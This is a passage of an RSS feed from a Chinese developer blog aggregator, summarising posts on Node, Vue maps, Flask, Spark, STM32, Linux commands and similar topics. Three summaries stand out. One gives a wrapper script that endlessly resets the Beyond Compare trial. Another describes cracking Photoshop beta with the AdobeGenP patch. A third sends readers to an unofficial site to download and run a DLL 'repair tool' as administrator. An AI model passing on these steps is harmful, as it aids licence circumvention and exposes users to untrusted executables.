仓库管理系统主要是为了提高用户的工作效率和更方便快捷的满足用户，更好存储所有数据信息及快速方便的检索功能，对仓库管理系统的各个模块是通过许多今天的发达仓库管理系统做出合理的分析来确定考虑用户的可操作性，遵循开发的系统优化的原则，经过全面的调查和研究。&#xA;仓库管理系统所要实现的功能分析，对于现在网络方便，仓库管理系统要实现管理员、用户可以直接在平台上进行查看自己所需数据信息，这样既能节省管理的时间，不用再像传统的方式，如果用户想要进行交流信息，必须双方见面进行沟通交流所需的信息，由于很多用户时间的原因，没有办法进行见面沟通交流，真的很难满足用户的各种需求。所以仓库管理系统的开发不仅仅是能满足用户的需求，还能提高用户的使用率。所以系统管理必须要更快捷、有效、长期地为用户或潜在用户传递信息。建立一个仓库管理系统更好的交流平台，提高系统对用户交流后的信息服务的效率。此系统可以满足大多数用户所提出的问题，用户可以根据自身的需求获取相应的服务，为系统管理提供了快捷的途径。&#xA;仓库管理系统用户端要求在系统的安卓手机上可以运行，主要实现了管理端；首页、个人中心、用户管理、商品信息管理、商品类型管理、商品出库管理、商品入库管理、仓库位置管理、供应商管理、流水统计管理、系统管理，用户端；首页、商品信息、仓库位置、供应商、我的等主要功能模块的操作和管理。&#xA;总体分布如图3.1所示：</description>
    </item>
    <item>
      <title>node 卸载不干净问题 安装node弹出A later version of Node.js is alrrady installed. Setup will now exit.</title>
      <link>https://bchobby.github.io/posts/4e1adba96cdb217dacae21ef634d9225/</link>
      <pubDate>Tue, 06 Jun 2023 17:40:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e1adba96cdb217dacae21ef634d9225/</guid>
      <description>因为版本不兼容问题要重装node，找了不少方法都删不干净。&#xA;突发奇想找到了如下方法&#xA;选择当初相应的安装软件再次安装就会弹出一个删除选项，选删除就会删除成功</description>
    </item>
    <item>
      <title>mac安装BCompare教程</title>
      <link>https://bchobby.github.io/posts/52730e9ae6f4788ba3e4d351ff32c6f6/</link>
      <pubDate>Tue, 06 Jun 2023 16:52:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52730e9ae6f4788ba3e4d351ff32c6f6/</guid>
      <description>1.去BCompare官网下载最新版的BCompare，正常解压安装。&#xA;官网下载地址https://www.scootersoftware.com/download.php&#xA;2.安装完后如果你是第一次使用可以免费使用30天，如果想免费永久使用有下面两种方式&#xA;（1）手动删除/Library/Application Support/Beyond Compare文件夹中的registry.dat文件&#xA;这个文件里是你的注册信息，删除后你就又有30天的免费使用期，如此反复可达到永久免费使用目的&#xA;备注：如果找不到该文件夹，可以在访达上方的工具栏中选择“前往”—》“前往文件夹”—〉输入/Library/Application Support进入该文件夹，找到对应的Beyond Compare或BCompare文件夹&#xA;(2)自动删除&#xA;a）找到你的BCompare显示它的包内容&#xA;b）进入MacOS文件夹将原来的BCompare文件重命名为BCompare.real,并创建一个新的BCompare文件，该文件内容如下&#xA;#!/bin/bash rm &#34;/Users/$(whoami)/Library/Application Support/Beyond Compare/registry.dat&#34; &#34;`dirname &#34;$0&#34;`&#34;/BCompare.real $@ 注解：第一行代表注明解释器，第二行代表删除 registry.dat文件，第三行代表启动真正的主程序即被我们重命名的BCompare.real&#xA;这样每次启动BCompare时就会帮我们自动删除注册文件了。&#xA;注意事项：如果你是新建一个文件然后转格式的话，最后可能导致文件内存在一些乱码&#xA;chmod a+x /Applications/Beyond\ Compare.app/Contents/MacOS/BCompare 在命令行输入这段命令执行，给你的BCompare文件执行权限&#xA;可以使用vi /Applications/Beyond\ Compare.app/Contents/MacOS/BCompare命令查看编辑BCompare文件里的内容&#xA;输入:wq！保存退出</description>
    </item>
    <item>
      <title>GragGAN：人工智能黑科技，本地使用详细教程</title>
      <link>https://bchobby.github.io/posts/f24832c5e167c4a3f47ee1b29d92c532/</link>
      <pubDate>Tue, 06 Jun 2023 16:46:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f24832c5e167c4a3f47ee1b29d92c532/</guid>
      <description>人工智能黑科技 - GragGAN 简介 DragGAN是一种由Max Planck研究所开发的创新型人工智能工具，通过仅需几个点击和拖动操作，能够实现对照片的真实修改。根据一篇研究论文，该工具主要包括两个要素：基于特征的运动监控和一种革命性的点追踪技术。&#xA;DragGAN赋予用户交互性，使其能够自主拖动图片中的点，并将其移动至所选择的目标位置。通过基于特征的运动监控，用户可以精确地调整处理点的位置，从而完全掌控图片修改的过程。此外，点追踪技术确保在整个编辑过程中准确地跟踪处理点的位置。&#xA;DragGAN超越了传统图片编辑软件的功能范畴。它提供了超越简单像素操作的修改能力，让用户能够在多个对象类型之间应用不同的修改效果。举例来说，它可以重新生成底层项目，而不仅仅是扭曲，甚至可以旋转3D图片。&#xA;尽管DragGAN目前仅作为演示版本存在，但它已经引起了那些渴望了解其能力的用户的想象力。它能够在几秒钟内实现逼真和互动的图片修改，成为各种技能水平用户的有前途的工具。&#xA;DragGAN通过生成图像的3D模型来改变图片，然后对该模型进行编辑。用户可以调整图像中物体的位置、形状、情感和布局，而不会影响图像的其他部分。DragGAN首先利用卷积神经网络（CNN）从图像中提取特征，然后使用这些特征生成图像的3D表示。接下来，使用第二个CNN来修改3D模型，该CNN通过使用经过人类修改过的图像数据集进行训练。这些修改过的照片用于教导CNN如何修改3D模型。一旦训练完成，CNN就可以用于修改任何图片。&#xA;本地安装运行 你可以根据自己的实际情况来选择是使用 pyPI 来安装还是 手动安装或使用 docker 安装&#xA;系统要求 此实现支持在 CPU、Nvidia GPU 和 Apple 的 m1/m2 芯片上运行。使用 GPU 时，1024 型号需要 8 GB 内存。512 型号建议使用 6 GB。 一、使用 PyPI 安装 使用 Conda 来安装需求。&#xA;conda create -n draggan python=3.7 conda activate draggan 安装 PyTorch&#xA;conda install pytorch torchvision torchaudio pytorch-cuda=11.7 -c pytorch -c nvidia 安装 DragGAN&#xA;pip install draggan # If you meet ERROR: Could not find a version that satisfies the requirement draggan (from versions: none), use pip install draggan -i https://pypi.</description>
    </item>
    <item>
      <title>【银河麒麟系统V10常见命令】</title>
      <link>https://bchobby.github.io/posts/561fafefc3a611ae2c47e6b62937e5c4/</link>
      <pubDate>Tue, 06 Jun 2023 16:09:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/561fafefc3a611ae2c47e6b62937e5c4/</guid>
      <description>1、查看麒麟系统版本。 cat /etc/.kyinfo&#xA;2、安装软件。 sudo dpkg -i *.deb&#xA;3、显示麒麟系统下的隐藏文件。 使用快捷键ctrl+h&#xA;4、强制关机。 sudo poweroff&#xA;5、修改数据盘权限命令。 sudo chmod 777 /data</description>
    </item>
    <item>
      <title>Vue2项目引入高德地图并展示</title>
      <link>https://bchobby.github.io/posts/58c9072f52b02b5ac130fd3496305e71/</link>
      <pubDate>Tue, 06 Jun 2023 15:41:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58c9072f52b02b5ac130fd3496305e71/</guid>
      <description>前言 最近项目中需要使用地图来进行展示数据，并且还要进行一些交互的行为。因为之前并没有接触过地图类型的项目，看着原型图感觉还是很不错的，开始开发后也在研究如何在项目中正确引用高德地图，为此也是翻阅了高德官方的文档，发现实现起来还是比较容易的。高德官方文档的说明还是比较详细的。这里就想着把所知道的知识记录一下方便以后自己回来查看，如果也能帮到其他人就更好了，这是我在CSDN的第一篇博客，以后开展项目中所积累的知识或者出现的一些问题也会形成博客发出来，好在以后工作中发现类似的问题后有一个地方可以直观的查看并解决。&#xA;正文 引入高德地图前的准备 1.登录高德开放平台控制台，如果还没有开发者账号，需要注册开发者。&#xA;2.进入应用管理，创建新应用，在新应用中添加key，服务平台按自己项目需要自行选择。&#xA;3.以上操作成功后，就会在你创建的应用中显示key和安全秘钥了，其中key是在项目中引入地图的关键，安全秘钥是提升用户对key的安全有效管理，降低明文传输被窃取的风险。2021年12月02日后创建的key必须配备安全秘钥一起使用，具体用法参见JS API安全秘钥使用。&#xA;项目中引入高德地图 1.在项目根目录中找到index.html文件，引入下面两段标签结构，其中的安全秘钥和key是在高德平台获取的，直接替换即可。&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt; window._AMapSecurityConfig = { securityJsCode:&#39;你的安全秘钥&#39;, } &amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;https://webapi.amap.com/mapsv=1.4.4&amp;amp;key=你的key&#34;&amp;gt;&amp;lt;/script&amp;gt; 2.在需要展示地图的页面，创建地图容器，并指定宽高（高度要必须指定否则不会展示地图）。&#xA;&amp;lt;div class=&#34;mapContainer&#34; id=&#34;map&#34;&amp;gt;&amp;lt;/div&amp;gt; .mapContainer { width: 100%; height: 100%; } 注：如果指定百分比的高度，父元素也需要设置百分比高度，否则不会生效。&#xA;3.初始化地图&#xA;在methods中创建initMap方法，如下：&#xA;//初始化地图 initMap() { this.map = new window.AMap.Map(&#34;map&#34;, { resizeEnable: true, //是否监控地图容器尺寸变化 center: [116.397428, 39.90923],//地图中心点，按照自己要求设置即可 zoom: 10,//地图缩放级别 }); }, 方法写完后在mouted钩子中调用即可&#xA;mounted() { this.initMap(); }, 4.以上工作做完后，打开页面就会显示地图了&#xA;总结 以上是我对vue2项目如何引入高德地图步骤的记录，整体实现还是非常容易的，这仅是展示地图，后续还会有增加一些交互效果，创建标记点，绘制轨迹路线等等，高德地图的文档和API还是非常齐全并且给力的。本篇博客分享结束~~</description>
    </item>
    <item>
      <title>flask快速入门常用插件(草稿)</title>
      <link>https://bchobby.github.io/posts/e5270fb0d92199e256d0f8e99d9eb332/</link>
      <pubDate>Tue, 06 Jun 2023 12:49:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5270fb0d92199e256d0f8e99d9eb332/</guid>
      <description>Flask快速入门，知识整理 扩展列表：http://flask.pocoo.org/extensions/&#xA;扩展名功能Flask-SQLAlchemy操作数据库Flask-Script插入脚本Flask-Migrate管理迁移数据库Flask-SessionSession 存储方式指定Flask-WTF表单Flask-Mail邮件Flask-Babel提供国际化和本地化支持，翻译Flask-Login认证用户状态Flask-OpenID认证Flask-RESTful开发 REST API 的工具Flask-Bootstrap集成前端 Twitter Bootstrap 框架Flask-Moment本地化日期和时间Flask-Admin简单而可扩展的管理接口的框架 Flask：用Python语言基于Werkzeug工具箱编写的轻量级Web开发框架。&#xA;Flask和Django对比：&#xA;1.Django大而全，提供一站式解决方案，MVT模式，有ORM模式、后台站点管理等功能。&#xA;2.Flask轻巧，简洁，可扩展性强（Flask最重要特点），&#xA;其核心： WSGI 工具箱采用 Werkzeug（路由模块）&#xA;模板引擎则使用 Jinja2&#xA;#coding=utf-8 from flask import Flask, make_response, current_app, request from settings import Config # 导入werkzeug的路由模块, 转换器 from werkzeug.routing import BaseConverter # Flask接受一个参数name，参数指向程序所在模块 # __name__参数作用,是为了确认程序所在的位置 # Flask默认创建静态路由 # 默认参数是默认字符串,不能是int整值,不能传入python模块名 app = Flask(__name__) # 配置对象可以导入配置文件,config配置对象,方法from_object,引入配置文件 app.config.from_object(Config) # 自定义转换器 # 正则url作用:限制访问(不符合条件的),优化访问 class Regex(BaseConverter): &#34;&#34;&#34;Base class for all converters&#34;&#34;&#34; def __init__(self, map, *args): super(Regex, self).</description>
    </item>
    <item>
      <title>解决No module named添加sys.path.append(‘../‘)仍存在的路径问题</title>
      <link>https://bchobby.github.io/posts/80d11c35450c4b265ab95b7ee1f11134/</link>
      <pubDate>Tue, 06 Jun 2023 10:15:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80d11c35450c4b265ab95b7ee1f11134/</guid>
      <description>项目场景： linux下，文件夹ActionWithPose\Net内，执行ActionWithPoseM.py，需要调用同文件夹下的DSTformer.py和transformer.py&#xA;ActionWithPoseM.py中：&#xA;import sys sys.path.append(&#39;../&#39;) from ActionWithPose.Net.transformer import Transformer from ActionWithPose.Net.DSTformer import DSTformer 仍然报错&#xA;ModuleNotFoundError: No module named &#39;ActionWithPose&#39; 解决方案： shell终端执行py的位置的问题，如果我cd进入Net文件夹，执行会报错&#xA;(py36) root@373c0571a886:/hdd/ljz/mmw/ActionWithPose/Net# python ActionWithPoseM.py Traceback (most recent call last): File &#34;ActionWithPoseM.py&#34;, line 15, in &amp;lt;module&amp;gt; from ActionWithPose.Net.transformer import Transformer ModuleNotFoundError: No module named &#39;ActionWithPose&#39; (py36) root@373c0571a886:/hdd/ljz/mmw/ActionWithPose/Net# 只需要退出一级文件夹，在python执行的时候再一级路径即可&#xA;(py36) root@373c0571a886:/hdd/ljz/mmw/ActionWithPose/Net# cd .. (py36) root@373c0571a886:/hdd/ljz/mmw/ActionWithPose# python Net/ActionWithPoseM.py …… (py36) root@373c0571a886:/hdd/ljz/mmw/ActionWithPose# 受到shell所在位置的影响，内部代码中引入的模块，文件相对路径都要相对执行的路径位置而言&#xA;举一反三 sys.path.append(&#39;../&#39;) 对应执行位置&#xA;(py36) root@373c0571a886:/hdd/ljz/mmw/ActionWithPose# python Net/ActionWithPoseM.py 如果我要进入执行</description>
    </item>
    <item>
      <title>ps技术的革命创新-photoshop beta版</title>
      <link>https://bchobby.github.io/posts/cfcdbb041be7a565c51671f534d23e45/</link>
      <pubDate>Tue, 06 Jun 2023 09:44:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfcdbb041be7a565c51671f534d23e45/</guid>
      <description>Photoshop 2023 Beta功能介绍 全新的Generative Fill功能现已加入Photoshop Beta桌面应用程序，可以让用户在非破坏性的基础上轻松地添加、扩展或删除图像内容，实现令人惊喜、高兴和震撼的真实效果，仅需数秒。使用此功能，只需要选择图像中的目标对象或区域，然后点击“Generative Fill”按钮或“编辑&amp;gt; Generative Fill”菜单就可以了。&#xA;调整面板现在提供了预设选项，包括人像、风景、照片修复、创意、黑白和电影样式，这可以为照片编辑者节省时间和精力，帮助他们在复杂的工作流程中开始创建华丽的图像。&#xA;Remove Tool(工具)是一个易于使用且功能强大的工具，能让用户快速轻松地清理照片中的干扰或不需要的区域。它采用智能技术自动从用户刷过的照片中删除不需要的对象，同时保留对象的完整性和背景中的深度。&#xA;自Photoshop 24.5版发布后，上下文任务栏为用户提供了正确的工具和时机，加快工作流程。持续显示的菜单呈现了工作流程中最相关的下一步，如选择一个对象时，上下文任务栏会出现在画布上，提供更多定制的选项作为潜在的下一步，如“选取和蒙版”、“羽化”、“反转”、“创建调整层”或“填充选择”。&#xA;在Photoshop 24.5版的5月发布中，改进的渐变工具让用户能轻松绘制、预览和修改漂亮渐变。该功能已经得到显著改进，通过引入新的画布控件和实时预览提高了工作效率，后者可以非破坏性地编辑。使用渐变小部件调整渐变，并实时查看其影响。还可以添加颜色停止和不透明度停止，并移动它们以进行颜色、密度、不透明度和混合模式调整。这些改进让用户更加方便地绘制渐变，同时节省时间和精力。&#xA;安装方法 1、安装 Creative_Cloud_Set-Up.exe 2、打开Adobe Creative Cloud，会提示登录，选择创建账户 3、推荐使用Gmail邮箱注册 4、国家/地区选印度或美国，点击完成创建账号 5、首次登录会有Adobe服务弹窗，一定要取消勾选AGS 6、进入主页，点击左侧导航进入Beta应用程序，找到PSbeta版本，点击试用安装 7、安装完成，提示剩余7天试用期 8、退出Creative Cloud 9、打开AdobeGenP激活工具 10、点击Search，搜索本机Adobe未激活产品 11、搜索完成，点击Parch，打上激活补丁 12、完成后，剩余7天试用期消失 举例子 随心更改图片的主题背景 首先框选主体，点击“select subject”选择主题，&#xA;2）输入你想要的背景样式（这里我们不妨让小鹿迷失于城市的霓虹灯之间），点击“generate”生成&#xA;延展照片画面 1）首先扩展画板，露出原图未延展到的像素背景&#xA;2）而后框选要填补的部分，在弹出的交互框内输入你想要扩展的画面，点击“Generate”（这里我们不妨生成倒影出冰山和人的冰川）</description>
    </item>
    <item>
      <title>Echarts的x轴调整间隔,可以用 xAxis数组子项的axisLabel.interval</title>
      <link>https://bchobby.github.io/posts/607ca339c44c442ad9b8945a5824c148/</link>
      <pubDate>Tue, 06 Jun 2023 07:55:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/607ca339c44c442ad9b8945a5824c148/</guid>
      <description>Echarts的x轴调整间隔,可以用 xAxis数组子项的axisLabel.interval https://echarts.apache.org/zh/option.html#xAxis.axisLabel.interval&#xA;xAxis.axisLabel.interval = &#39;auto&#39; 默认值是’auto’&#xA;可设置为 : number 或 Function 数字或函数&#xA;坐标轴刻度标签的显示间隔，在类目轴中有效。&#xA;默认会采用标签不重叠的策略间隔显示标签。&#xA;可以设置成 0 强制显示所有标签。&#xA;如果设置为 1，表示『隔一个标签显示一个标签』，如果值为 2，表示隔两个标签显示一个标签，以此类推。&#xA;可以用数值表示间隔的数据，也可以通过回调函数控制。回调函数格式如下：&#xA;(index:number, value: string) =&amp;gt; boolean 第一个参数是类目的&#xA;index，第二个值是类目名称，如果跳过则返回 false。&#xA;测试模板&#xA;option = { color: [&#34;#3398DB&#34;], tooltip: { trigger: &#34;axis&#34;, axisPointer: { type: &#34;shadow&#34; } }, grid: {}, xAxis: [{ type: &#34;category&#34;, data: [&#34;Mon&#34;, &#34;Tue&#34;, &#34;Wed&#34;, &#34;Thu&#34;, &#34;Fri&#34;, &#34;Sat&#34;, &#34;Sun&#34;], axisLabel : { interval : 0 } }], yAxis: [{ type: &#34;</description>
    </item>
    <item>
      <title>Spark集群搭建</title>
      <link>https://bchobby.github.io/posts/f599824f9a37388ac9e917f636e9fe41/</link>
      <pubDate>Tue, 06 Jun 2023 00:57:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f599824f9a37388ac9e917f636e9fe41/</guid>
      <description>系列文章目录 Ubuntu常见基本问题&#xA;Hadoop3.1.3安装（单机、伪分布）&#xA;Hadoop集群搭建&#xA;HBase2.2.2安装（单机、伪分布）&#xA;Zookeeper集群搭建&#xA;HBase集群搭建&#xA;Spark安装和编程实践（Spark2.4.0）&#xA;Spark集群搭建&#xA;文章目录 系列文章目录前置条件一、配置环境变量二、Spark配置1、slaves2、spark-env.sh 三、启动Spark集群1、启动Hadoop集群2、启动Spark集群3、关闭Spark集群 前置条件 Hadoop集群jdkMaster和Slave1两台机器 一、配置环境变量 在Master节点主机的终端中执行如下命令： vim ~/.bashrc 在.bashrc添加如下配置： export SPARK_HOME=/usr/local/spark export PATH=$PATH:$SPARK_HOME/bin:$SPARK_HOME/sbin 执行如下命令使得配置立即生效： source ~/.bashrc 二、Spark配置 在Master节点主机上进行如下操作：&#xA;1、slaves 将 slaves.template 拷贝到 slaves cd /usr/local/spark/ cp ./conf/slaves.template ./conf/slaves sudo vim /usr/local/spark/conf/slaves slaves文件设置Worker节点。编辑slaves内容,把默认内容localhost替换成如下内容： slave1 2、spark-env.sh 将 spark-env.sh.template 拷贝到 spark-env.sh cp ./conf/spark-env.sh.template ./conf/spark-env.sh sudo vim /usr/local/spark/conf/spark-env.sh 修改为：&#xA;export SPARK_DIST_CLASSPATH=$(/usr/local/hadoop/bin/hadoop classpath) export HADOOP_CONF_DIR=/usr/local/hadoop/etc/hadoop export SPARK_MASTER_IP=192.168.1.104 SPARK_MASTER_IP 指定 Spark 集群 Master 节点的 IP 地址；</description>
    </item>
    <item>
      <title>halcon error 3142:[Can not open file for writing in operator write_image.]问题解决方法</title>
      <link>https://bchobby.github.io/posts/6a7443ebcd6dd433b4ba50677333be5e/</link>
      <pubDate>Mon, 05 Jun 2023 23:31:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a7443ebcd6dd433b4ba50677333be5e/</guid>
      <description>目录： 问题描述解决方法 问题描述 🌀如果你在直接运行halcon或者其他语言编程接口的halcon的调用算子代码，碰到Halcon error: Can not open file for writing in operator write_image.,证明你是个大冤种了，碰到个头大的问题，开干🌈！&#xA;解决方法 问题类型：发生错误的通常是write_image算子，所以从算子的输入或输出参数寻找即可。&#xA;1️⃣文件名编码问题，例如要指定文件名为某种编码后可能发生，因为如果是从程序外部文件中读取信息，有可能受到其中的文件名编码影响或者由于打开文件时，指定某种编码格式打开，这些情况最有可能发生，所以要注意包含文件目录的文件名的编码格式问题！2️⃣文件太大问题：因为文件太大，write_image函数可能在该环境中无法写入，导致报错问题，在存图函数之前，线程休眠或延时一下，或者通过操纵IO的方式减少短时间内写入大文件内存！3️⃣文件名太长。这种问题比较少发生（但被我碰到了），由于write_image上面的包含目录的文件名太长的话也会发生（路径项或文件名项的字符串太长了），解决方法是减少该文件名（或文件路径）的长度，就普适性来说，改文件名最好 最后，文中，若有不足，敬请批评指正！！！</description>
    </item>
    <item>
      <title>linux下一次复制cp多个文件(含scp命令)</title>
      <link>https://bchobby.github.io/posts/635e2d44b35defd7403e435e0ba79797/</link>
      <pubDate>Mon, 05 Jun 2023 20:16:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/635e2d44b35defd7403e435e0ba79797/</guid>
      <description>linux cp 参数说明&#xA;-a：此选项通常在复制目录时使用，它保留链接、文件属性，并复制目录下的所有内容。其作用等于dpR参数组合。 -d：复制时保留链接。这里所说的链接相当于Windows系统中的快捷方式。 -f：覆盖已经存在的目标文件而不给出提示。 实际想要达到不提示的效果:应该写成&#34;\cp -rf&#34;，比如：\cp -rf ./mdm-bak/2021-06-29-81243/*.war ./webapps -i：与-f选项相反，在覆盖目标文件之前给出提示，要求用户确认是否覆盖，回答&#34;y&#34;时目标文件将被覆盖。 -p：除复制文件的内容外，还把修改时间和访问权限也复制到新文件中。 -r：若给出的源文件是一个目录文件，此时将复制该目录下所有的子目录和文件。 -l：不复制文件，只是生成链接文件。 一.常用复制/备份命令&#xA;1.备份tomcat中所有的war包,到指定的目录下: cp -p ./webapps/*.war ./mdm-bak/2021-06-29-update-before cp -p ./webapps/*.war /home/tomcat/apache-tomcat-9.0.37/mdm-bak/2021-06-29-update-before 2.多文件复制:(注意文件之间不要有空格) cp /home/usr/dir/{file1,file2,file3,file4} /home/usr/destination/ 3.备份(同目录) //复制 flags.c 到flags_checkered.c 文件，当前文件同属于同一目录下 cp flags.c flags_checkered.c 4.备份(不同目录) //复制当前文件夹下的 flags.c 文件到 lab09 文件夹下flags_recised.c 文件 cp flags.c /home/user05/lab09/flags_revised.c 5.文件夹备份 //复制 lab07文件夹下的所有文件到 lab09 文件夹下 cp -r /home/user05/lab07/* /home/user05/lab09 高级备份语句 : 1.进入到tomcat目录下后,先创建文件夹: mkdir -m 777 ./mdm-bak/2021-06-29-update-before (需要已存在mdm-bak文件夹) 2.1备份所有war文件,到指定目录: cp -p ./webapps/*.war ./mdm-bak/2021-06-29-update-before 2.</description>
    </item>
    <item>
      <title>找不到msvcr110.dll的解决方法</title>
      <link>https://bchobby.github.io/posts/8a70f254041f5bd64c76ff2fec591f4a/</link>
      <pubDate>Mon, 05 Jun 2023 20:07:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a70f254041f5bd64c76ff2fec591f4a/</guid>
      <description>msvcr110.dll是Microsoft Visual C++ 2012 Redistributable的一部分，它是一种动态链接库（DLL），旨在存储许多Microsoft Visual C++应用程序共享的功能。这些功能包括数学运算、字符串处理、内存分配和释放等。它在Windows操作系统中起着至关重要的作用。下面是msvcr110.dll丢失的解决方法以及详细介绍。&#xA;msvcr110.dll丢失的解决方法&#xA;1、在浏览器顶部网页搜索【dll修复程序.site 】，进入站点&#xA;2、点击下载修复工具，然后右键进行解压，管理员身份运行打开，或许右键直接打开双击&#xA;3、打开修复工具，在修复工具的中点击安装，可以看到电脑缺失的dll文件，还有久的需要更新的文件，提示下一步，点击一下步既可。&#xA;4、等待文件安装完成，点击完成退出工具，再打开软件程序就恢复正常了。&#xA;msvcr110.dll的详细介绍&#xA;1、文件名：msvcr110.dll&#xA;2、版本号：11.0.51106.1&#xA;3、体积：754KB&#xA;4、开发商：windows&#xA;5、类型：动态链接库&#xA;msvcr110.dll总体上是一个非常重要的文件，用于支持众多windows程序的特殊功能。因此，它是Windows操作系统的一个必要组成部分，并确保用户的计算机能够正常地运行应用程序。如果你遇到与此文件相关的任何问题，可以用上面的解决方法来解决问题。&#xA;除此之外，msvcr110.dll还是一个被广泛使用的动态链接库，许多第三方应用程序也可能使用它来进行编程。这些应用程序可能包括游戏、音频/视频编辑软件、图片软件等等。因此，如果你遇到草图大师、刺客信条、Photoshop等软件的初始化错误或崩溃，可能是因为msvcr110.dll文件存在问题。&#xA;作为一个动态链接库，msvcr110.dll的执行在应用程序运行时是非常快速和高效的。它包括内部实现许多重要的功能，例如：内存分配和释放、文件操作、字符串操作、数学运算、日期和时间等。这些功能支持应用程序更高效地实现它们所需的各种功能。&#xA;此外，msvcr110.dll是一个通用库，可在许多应用程序之间共享，这意味着如果一个应用程序使用了此库，其他使用相似功能的应用程序将受益于它的存在。这减少了开发人员的工作负担，让他们更专注于应用程序的核心功能实现。&#xA;最后，msvcr110.dll还有一个非常重要的作用，即促进以C++语言编写的应用程序的跨平台兼容性。这意味着开发人员可以针对Windows、Linux和Mac操作系统开发相同的C++代码，并直接链接到相关的库或DLL中，可大大减少编写多个版本的应用程序代码的工作量。</description>
    </item>
    <item>
      <title>STM32-HAL-串口的printf重定向</title>
      <link>https://bchobby.github.io/posts/4ed3ce3346ffa124544f62f9b99386c4/</link>
      <pubDate>Mon, 05 Jun 2023 19:01:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ed3ce3346ffa124544f62f9b99386c4/</guid>
      <description>一、C语言的格式化输出 C语言的printf是一个标准库函数，用于将格式化的数据输出到标准的输出设备（通常是终端）&#xA;基本语法： int printf(const char *format, ...); 其中的第一个参数const char *format表示输出格式，后面的参数是可变参数，用于填充格式化字符串中的占位符。&#xA;字符输出原理： 格式化字符串处理：printf函数将第一个参数 const char *format 中的格式占位符解析出来，然后根据占位符的类型和顺序依次取可变参数中的值，将这些值转换为字符串，并将其按照格式化字符串中的顺序和样式组合成最终的输出字符串。输出字符串存储：printf函数将格式化后的输出字符串存储在内存缓冲区中。输出字符串显示：printf函数将内存缓冲区中的输出字符串显示到标准输出设备上，通常是终端。 在学习C语言的时候，在调用头文件#include &#34;stdio.h&#34;的时候，就可以使用printf函数进行格式化打印&#xA;#include &amp;lt;stdio.h&amp;gt; int a = 10; char str[] = &#34;hello,world!&#34;; int main(void) { printf(&#34;%s\n&#34;,str); printf(&#34;a = %d&#34;,a); return 0; } [result] hello,world! a = 10 但是在Keil中，在stm32的使用中是不能直接使用C语言的打印函数的，需要添加支持设置，即调用MDK的微库（MicroLib) 称之为printf的重定向。其实不仅仅可以把打印字符重定向，而且还可以将获取字符重定向。&#xA;二、开发准备 基于STM32L431RCT6的小熊派开发板&#xA;windows系统并安装Cubemx和Keil MDK的电脑&#xA;三、初始化片上外设 本次开发介绍的主要是串口的重定向，因此就是需要初始化串口外设。&#xA;设置串口通信为异步通信，波特率115200&#xA;生成代码，并选择keil-MDK打开该工程&#xA;四、设置重定向 4.1 点击魔术棒，然后勾选使用微库（Use MicroLIB)&#xA;针对MicroLIB的介绍：&#xA;​ MicroLIB是Keil公司提供的一个C标准库，专为嵌入式系统设计而开发。相对于标准C库，MicroLIB库更加轻量级，代码量更小，适用于嵌入式系统等资源受限的环境。MicroLIB库支持ISO/ANSI C标准的大部分函数，并增加了一些嵌入式系统常用的函数，例如串口通信、GPIO控制等。在MDK的工程中，开发者可以选择使用MicroLIB库来进行开发，以减小程序的代码大小和占用内存的空间。&#xA;​ 需要注意的是，MicroLIB库并不是一个完整的C标准库，它只实现了一部分的C标准函数，并且一些函数的实现与标准C库可能存在差异。如果需要使用标准C库的函数或者功能更加完整的C标准库，开发者需要使用其他的C标准库，例如GNU C Library（glibc）等。&#xA;4.2 添加串口重定向代码&#xA;在main.c函数中添加头文件：</description>
    </item>
    <item>
      <title>maven配置报错The JAVA_HOME environment variable is not defined correctly,this environment variable is</title>
      <link>https://bchobby.github.io/posts/aeda4230f179437a35eba69b07cc7abe/</link>
      <pubDate>Mon, 05 Jun 2023 18:02:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aeda4230f179437a35eba69b07cc7abe/</guid>
      <description> 一：maven配置报错The JAVA_HOME environment variable is not defined correctly,this environment variable is 1.问题原因 出现这个错误信息是因为Adminstrator的用户变量JAVA_HOME路径是之前写项目配置的是java版本的与系统变量JAVA_HOME 的路径格格不入，所以就出现了这个错误，你们配置的时候也要注意Adminstrator的用户变量要和系统变量JAVA_HOME一定要相同，如下图 注意事项 对于JAVA_HOME的值构写，路径要写到\bin目录的上一个目录，如 C:\java8\bin，那么JAVA_HOME的值就应该是C:\JAVA8 注意事项 对于Path(路径)，如果你的MAVEN_HOME的路径配置在系统变量中，那还是推荐将JAVA_HOME的Path也配置在系统变量中，Path的路径构写如下 2.参考文档 https://blog.csdn.net/HarryMing/article/details/121160829 https://www.jianshu.com/p/1859d1d052a1 //参考了两位师傅的文章，才解决的问题 </description>
    </item>
    <item>
      <title>【测试】JMeter做压力测试的步骤</title>
      <link>https://bchobby.github.io/posts/5e36a061e9de214c53aeea0de4a62f77/</link>
      <pubDate>Mon, 05 Jun 2023 17:32:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e36a061e9de214c53aeea0de4a62f77/</guid>
